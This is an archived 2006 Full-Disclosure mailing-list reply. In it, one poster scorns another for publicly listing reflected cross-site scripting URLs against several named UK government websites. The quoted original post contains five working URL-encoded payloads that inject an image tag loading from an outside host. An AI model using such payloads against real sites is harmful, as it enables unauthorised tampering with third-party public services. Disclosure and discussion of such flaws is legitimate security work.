full-disclosure - RE: XSS funtime

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <9CA621425D6EAE4FBBD29326CC7D110646A8A2@unity-svr.Unity.local>
Date: Fri, 4 Aug 2006 09:37:58 +0100
From: "Edward Pearson" <Ed@...tyitservices.co.uk>
To: <full-disclosure@...ts.grok.org.uk>
Subject: RE: XSS funtime

No dude, XSS random sites is just lame. There is no competition, this
kinda shit belongs on http://www.elitehackers.info. Not a SecList.

Especially http://disabilitydatabase.mla.gov.uk
<http://disabilitydatabase.mla.gov.uk/index.asp?startrow=1&action=search
&Keywords=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E> ,
have you no shame?

Ed

________________________________

From: full-disclosure-bounces@...ts.grok.org.uk
[mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of codeslag
Sent: 03 August 2006 23:09
To: full-disclosure@...ts.grok.org.uk
Subject: [Full-disclosure] XSS funtime

http://disabilitydatabase.mla.gov.uk/index.asp?startrow=1&action=search&
Keywords=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E 
http://www.audit-commission.gov.uk/search/search_result.asp?txtSearchKey
words=%3Cimg%20src=%22http://0xdeadface.co.uk/richard.jpg%22/%3E 
http://www.salford.gov.uk/search.htm?col=justhtml&qt=%3Cimg%20src=%22htt
p://0xdeadface.co.uk/richard.jpg%22/%3E3E 
http://www.ealing.gov.uk/search.jsp?query=%3Cimg+src%3D%22http%3A%2F%2F0
xdeadface.co.uk%2Frichard.jpg%22%2F%3E&goButton=Search&index=all 
http://www.successforall.gov.uk/index.cfm?pg=61&q=%3Cimg%20src=%22http:/
/0xdeadface.co.uk/richard.jpg%22/%3E 

Does this mean I win the XSS contest? After all i have h4><0r3d t3h
g1bs0n!!111111

hugs & kisses dyn0/codeslag

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/